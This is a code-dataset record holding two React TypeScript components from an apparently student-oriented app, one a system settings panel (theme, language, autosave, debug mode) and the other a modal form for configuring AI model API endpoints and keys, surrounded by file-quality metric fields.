"qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/components/settings/SystemSettingsSection.tsx
|
/**
* System Settings Section Component
* Split from the large Settings component
*/
import React from 'react';
import { useSystemSettings } from '../../hooks/useSystemSettings';
import { useNotification } from '../../hooks/useNotification';
import { Settings as SettingsIcon, CheckCircle, XCircle } from 'lucide-react';
export const SystemSettingsSection: React.FC = () => {
const {
settings,
loading,
saving,
saveSetting,
saveAllSettings,
resetSettings,
updateSetting,
validateSettings,
getSettingsSummary,
isAutoSaveEnabled,
isDarkTheme: _isDarkTheme,
isDebugMode
} = useSystemSettings();
const { showSuccess, showError, showWarning } = useNotification();
// 处理设置变更
const handleSettingChange = async <K extends keyof typeof settings>(
key: K,
value: typeof settings[K],
autoSave: boolean = true
) => {
updateSetting(key, value);
if (autoSave && isAutoSaveEnabled) {
const success = await saveSetting(key, value);
if (!success) {
showError(`保存 ${key} 设置失败`);
}
}
};
// 手动保存所有设置
const handleSaveAll = async () => {
const errors = validateSettings(settings);
if (errors.length > 0) {
showWarning(`设置验证失败: ${errors.join(', ')}`);
return;
}
const success = await saveAllSettings(settings);
if (success) {
showSuccess('所有设置保存成功');
} else {
showError('保存设置失败');
}
};
// 重置所有设置
const handleReset = async () => {
if (window.confirm('确定要重置所有设置为默认值吗？此操作不可恢复。')) {
const success = await resetSettings();
if (success) {
showSuccess('设置已重置为默认值');
} else {
showError('重置设置失败');
}
}
};
if (loading) {
return <div className="loading">加载系统设置中...</div>;
}
const summary = getSettingsSummary();
return (
<div className="system-settings-section">
<div className="section-header">
<div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<SettingsIcon size={24} color="#4a5568" />
<h3>系统设置</h3>
</div>
<div className="settings-summary">
<span>主题: {settings.theme}</span>
<span>自动保存: {isAutoSaveEnabled ? '开启' : '关闭'}</span>
{isDebugMode && <span className="debug-indicator">调试模式</span>}
</div>
</div>
<div className="settings-grid">
{/* 界面设置 */}
<div className="settings-group">
<h4>界面设置</h4>
<div className="setting-item">
<label>主题:</label>
<select
value={settings.theme}
onChange={e => handleSettingChange('theme', e.target.value)}
disabled={saving}
>
<option value="light">浅色主题</option>
<option value="dark">深色主题</option>
<option value="auto">跟随系统</option>
</select>
</div>
<div className="setting-item">
<label>语言:</label>
<select
value={settings.language}
onChange={e => handleSettingChange('language', e.target.value)}
disabled={saving}
>
<option value="zh-CN">简体中文</option>
<option value="en-US">English</option>
</select>
</div>
</div>
{/* 功能设置 */}
<div className="settings-group">
<h4>功能设置</h4>
<div className="setting-item">
<label className="checkbox-label">
<input
type="checkbox"
checked={settings.autoSave}
onChange={e => handleSettingChange('autoSave', e.target.checked)}
disabled={saving}
/>
自动保存配置
</label>
<p className="help-text">更改后自动保存，无需手动保存</p>
</div>
<div className="setting-item">
<label className="checkbox-label">
<input
type="checkbox"
checked={settings.enableNotifications}
onChange={e => handleSettingChange('enableNotifications', e.target.checked)}
disabled={saving}
/>
启用通知
</label>
<p className="help-text">显示操作成功/失败的通知消息</p>
</div>
<div className="setting-item">
<label>最大聊天历史记录数:</label>
<input
type="number"
min="10"
max="1000"
value={settings.maxChatHistory}
onChange={e => handleSettingChange('maxChatHistory', parseInt(e.target.value, 10))}
disabled={saving}
/>
<p className="help-text">每个对话保留的最大消息数量 (10-1000)</p>
</div>
</div>
{/* 高级设置 */}
<div className="settings-group">
<h4>高级设置</h4>
<div className="setting-item">
<label className="checkbox-label">
<input
type="checkbox"
checked={settings.debugMode}
onChange={e => handleSettingChange('debugMode', e.target.checked)}
disabled={saving}
/>
调试模式
</label>
<p className="help-text">显示详细的调试信息和日志</p>
</div>
{isDebugMode && (
<div className="debug-info">
<h5>调试信息:</h5>
<pre>{JSON.stringify(summary, null, 2)}</pre>
</div>
)}
</div>
</div>
{/* 操作按钮 */}
<div className="settings-actions">
{!isAutoSaveEnabled && (
<button
onClick={handleSaveAll}
disabled={saving}
className="save-button primary"
>
{saving ? '保存中...' : '保存所有设置'}
</button>
)}
<button
onClick={handleReset}
disabled={saving}
className="reset-button secondary"
>
重置为默认值
</button>
</div>
{/* 设置状态 */}
<div className="settings-status">
<div className="status-item">
<span>配置项数量: {summary.configuredItems}</span>
</div>
<div className="status-item">
<span>自动保存: {summary.autoSaveEnabled ? <CheckCircle size={16} color="#28a745" /> : <XCircle size={16} color="#dc3545" />}</span>
</div>
<div className="status-item">
<span>当前主题: {summary.currentTheme}</span>
</div>
<div className="status-item">
<span>最大历史: {summary.maxHistorySize}</span>
</div>
{summary.debugModeEnabled && (
<div className="status-item debug">
<span>调试模式: 已启用</span>
</div>
)}
</div>
</div>
);
};
| 6,776
|
SystemSettingsSection
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 559, "qsc_code_num_chars": 6776.0, "qsc_code_mean_word_length": 6.20751342, "qsc_code_frac_words_unique": 0.33273703, "qsc_code_frac_chars_top_2grams": 0.07608069, "qsc_code_frac_chars_top_3grams": 0.03458213, "qsc_code_frac_chars_top_4grams": 0.03976945, "qsc_code_frac_chars_dupe_5grams": 0.22478386, "qsc_code_frac_chars_dupe_6grams": 0.14985591, "qsc_code_frac_chars_dupe_7grams": 0.13227666, "qsc_code_frac_chars_dupe_8grams": 0.07204611, "qsc_code_frac_chars_dupe_9grams": 0.07204611, "qsc_code_frac_chars_dupe_10grams": 0.07204611, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01055705, "qsc_code_frac_chars_whitespace": 0.34297521, "qsc_code_size_file_byte": 6776.0, "qsc_code_num_lines": 237.0, "qsc_code_num_chars_line_max": 139.0, "qsc_code_num_chars_line_mean": 28.5907173, "qsc_code_frac_chars_alphabet": 0.76886792, "qsc_code_frac_chars_comments": 0.02449823, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.40776699, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.10921192, "qsc_code_frac_chars_long_word_length": 0.01542883, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/components/settings/ApiConfigModal.tsx
|
/**
* API Configuration Modal Component
* Split from the large Settings component for better maintainability
*/
import React, { useState, useEffect } from 'react';
import { ApiConfig } from '../../hooks/useApiConfig';
interface ApiConfigModalProps {
config: ApiConfig | null; // null for new config
onSave: (config: Omit<ApiConfig, 'id'>) => void;
onCancel: () => void;
}
export const ApiConfigModal: React.FC<ApiConfigModalProps> = ({
config,
onSave,
onCancel
}) => {
const [formData, setFormData] = useState<Omit<ApiConfig, 'id'>>({
name: '',
apiKey: '',
baseUrl: '',
model: '',
isMultimodal: false,
isReasoning: false,
enabled: true,
modelAdapter: 'general'
});
const [errors, setErrors] = useState<Record<string, string>>({});
// 预定义的模型适配器选项
const modelAdapters = [
{ value: 'general', label: '通用模型' },
{ value: 'deepseek-r1', label: 'DeepSeek-R1' },
{ value: 'google', label: 'Google Gemini' },
{ value: 'o1-series', label: 'OpenAI o1系列' },
{ value: 'claude-3-5-sonnet', label: 'Claude 3.5 Sonnet' }
];
// 常见模型预设
const modelPresets: Record<string, Partial<Omit<ApiConfig, 'id'>>> = {
'gpt-4o': {
model: 'gpt-4o',
isMultimodal: true,
isReasoning: false,
modelAdapter: 'general'
},
'gpt-4o-mini': {
model: 'gpt-4o-mini',
isMultimodal: true,
isReasoning: false,
modelAdapter: 'general'
},
'o1-preview': {
model: 'o1-preview',
isMultimodal: false,
isReasoning: true,
modelAdapter: 'o1-series'
},
'o1-mini': {
model: 'o1-mini',
isMultimodal: false,
isReasoning: true,
modelAdapter: 'o1-series'
},
'claude-3-5-sonnet': {
model: 'claude-3-5-sonnet-20241022',
isMultimodal: true,
isReasoning: false,
modelAdapter: 'claude-3-5-sonnet'
},
'gemini-1.5-pro': {
model: 'gemini-1.5-pro',
isMultimodal: true,
isReasoning: false,
modelAdapter: 'google'
},
'gemini-1.5-pro-latest': {
model: 'gemini-1.5-pro-latest',
isMultimodal: true,
isReasoning: false,
modelAdapter: 'google'
},
'gemini-1.5-flash': {
model: 'gemini-1.5-flash',
isMultimodal: true,
isReasoning: false,
modelAdapter: 'google'
}
};
// 初始化表单数据
useEffect(() => {
if (config) {
setFormData(config);
} else {
setFormData({
name: '',
apiKey: '',
baseUrl: '',
model: '',
isMultimodal: false,
isReasoning: false,
enabled: true,
modelAdapter: 'general'
});
}
setErrors({});
}, [config]);
// 表单验证
const validateForm = (): boolean => {
const newErrors: Record<string, string> = {};
if (!formData.name.trim()) {
newErrors.name = '配置名称不能为空';
}
if (!formData.apiKey.trim()) {
newErrors.apiKey = 'API密钥不能为空';
}
if (!formData.baseUrl.trim()) {
newErrors.baseUrl = 'API地址不能为空';
} else {
try {
new URL(formData.baseUrl);
} catch {
newErrors.baseUrl = 'API地址格式不正确';
}
}
if (!formData.model.trim()) {
newErrors.model = '模型名称不能为空';
}
setErrors(newErrors);
return Object.keys(newErrors).length === 0;
};
// 处理输入变化
const handleInputChange = (field: keyof typeof formData, value: any) => {
setFormData(prev => ({ ...prev, [field]: value }));
// 清除相关错误
if (errors[field]) {
setErrors(prev => ({ ...prev, [field]: '' }));
}
};
// 应用模型预设
const applyModelPreset = (presetKey: string) => {
const preset = modelPresets[presetKey];
if (preset) {
setFormData(prev => ({
...prev,
...preset,
name: prev.name || preset.model || presetKey
}));
}
};
// 处理保存
const handleSave = () => {
if (validateForm()) {
onSave(formData);
}
};
return (
<div className="modal-overlay" onClick={onCancel}>
<div className="modal-content api-config-modal" onClick={e => e.stopPropagation()}>
<div className="modal-header">
<h3>{config ? '编辑API配置' : '添加API配置'}</h3>
<button className="close-button" onClick={onCancel}>×</button>
</div>
<div className="modal-body">
{/* 模型预设 */}
<div className="form-group">
<label>模型预设（可选）:</label>
<div className="preset-buttons">
{Object.keys(modelPresets).map(presetKey => (
<button
key={presetKey}
type="button"
onClick={() => applyModelPreset(presetKey)}
className="preset-button"
>
{presetKey}
</button>
))}
</div>
</div>
{/* 基本信息 */}
<div className="form-group">
<label>配置名称 *:</label>
<input
type="text"
value={formData.name}
onChange={e => handleInputChange('name', e.target.value)}
placeholder="例如：GPT-4o 主配置"
className={errors.name ? 'error' : ''}
/>
{errors.name && <span className="error-text">{errors.name}</span>}
</div>
<div className="form-group">
<label>API密钥 *:</label>
<input
type="password"
value={formData.apiKey}
onChange={e => handleInputChange('apiKey', e.target.value)}
placeholder="sk-..."
className={errors.apiKey ? 'error' : ''}
/>
{errors.apiKey && <span className="error-text">{errors.apiKey}</span>}
</div>
<div className="form-group">
<label>API地址 *:</label>
<input
type="url"
value={formData.baseUrl}
onChange={e => handleInputChange('baseUrl', e.target.value)}
placeholder="https://api.openai.com/v1"
className={errors.baseUrl ? 'error' : ''}
/>
{errors.baseUrl && <span className="error-text">{errors.baseUrl}</span>}
</div>
<div className="form-group">
<label>模型名称 *:</label>
<input
type="text"
value={formData.model}
onChange={e => handleInputChange('model', e.target.value)}
placeholder="gpt-4o"
className={errors.model ? 'error' : ''}
/>
{errors.model && <span className="error-text">{errors.model}</span>}
</div>
<div className="form-group">
<label>模型适配器:</label>
<select
value={formData.modelAdapter}
onChange={e => handleInputChange('modelAdapter', e.target.value)}
>
{modelAdapters.map(adapter => (
<option key={adapter.value} value={adapter.value}>
{adapter.label}
</option>
))}
</select>
</div>
{/* 模型特性 */}
<div className="form-group">
<div className="checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
checked={formData.isMultimodal}
onChange={e => handleInputChange('isMultimodal', e.target.checked)}
/>
多模态模型（支持图片输入）
</label>
<label className="checkbox-label">
<input
type="checkbox"
checked={formData.isReasoning}
onChange={e => handleInputChange('isReasoning', e.target.checked)}
/>
推理模型（具有思维链能力）
</label>
<label className="checkbox-label">
<input
type="checkbox"
checked={formData.enabled}
onChange={e => handleInputChange('enabled', e.target.checked)}
/>
启用此配置
</label>
</div>
</div>
{/* 说明文本 */}
<div className="help-section">
<h4>配置说明：</h4>
<ul>
<li><strong>多模态模型</strong>：能够处理图片输入，适合用作第一模型（OCR+分类）</li>
<li><strong>推理模型</strong>：具有思维链能力，适合复杂分析，如 o1 系列</li>
<li><strong>第一模型</strong>：必须是多模态，用于图片识别和错题分类</li>
<li><strong>第二模型</strong>：用于AI对话和深度分析，推理模型效果更好</li>
</ul>
</div>
</div>
<div className="modal-footer">
<button onClick={onCancel} className="cancel-button">
取消
</button>
<button onClick={handleSave} className="save-button">
{config ? '更新配置' : '添加配置'}
</button>
</div>
</div>
</div>
);
};
| 8,918
|
ApiConfigModal
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 759, "qsc_code_num_chars": 8918.0, "qsc_code_mean_word_length": 5.87615283, "qsc_code_frac_words_unique": 0.256917, "qsc_code_frac_chars_top_2grams": 0.04035874, "qsc_code_frac_chars_top_3grams": 0.04663677, "qsc_code_frac_chars_top_4grams": 0.03295964, "qsc_code_frac_chars_dupe_5grams": 0.26412556, "qsc_code_frac_chars_dupe_6grams": 0.20695067, "qsc_code_frac_chars_dupe_7grams": 0.15896861, "qsc_code_frac_chars_dupe_8grams": 0.10605381, "qsc_code_frac_chars_dupe_9grams": 0.10605381, "qsc_code_frac_chars_dupe_10grams": 0.06681614, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00905519, "qsc_code_frac_chars_whitespace": 0.34368693, "qsc_code_size_file_byte": 8918.0, "qsc_code_num_lines": 316.0, "qsc_code_num_chars_line_max": 90.0, "qsc_code_num_chars_line_mean": 28.22151899, "qsc_code_frac_chars_alphabet": 0.75277635, "qsc_code_frac_chars_comments": 0.02803319, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.38181818, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.11558427, "qsc_code_frac_chars_long_word_length": 0.01061253, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
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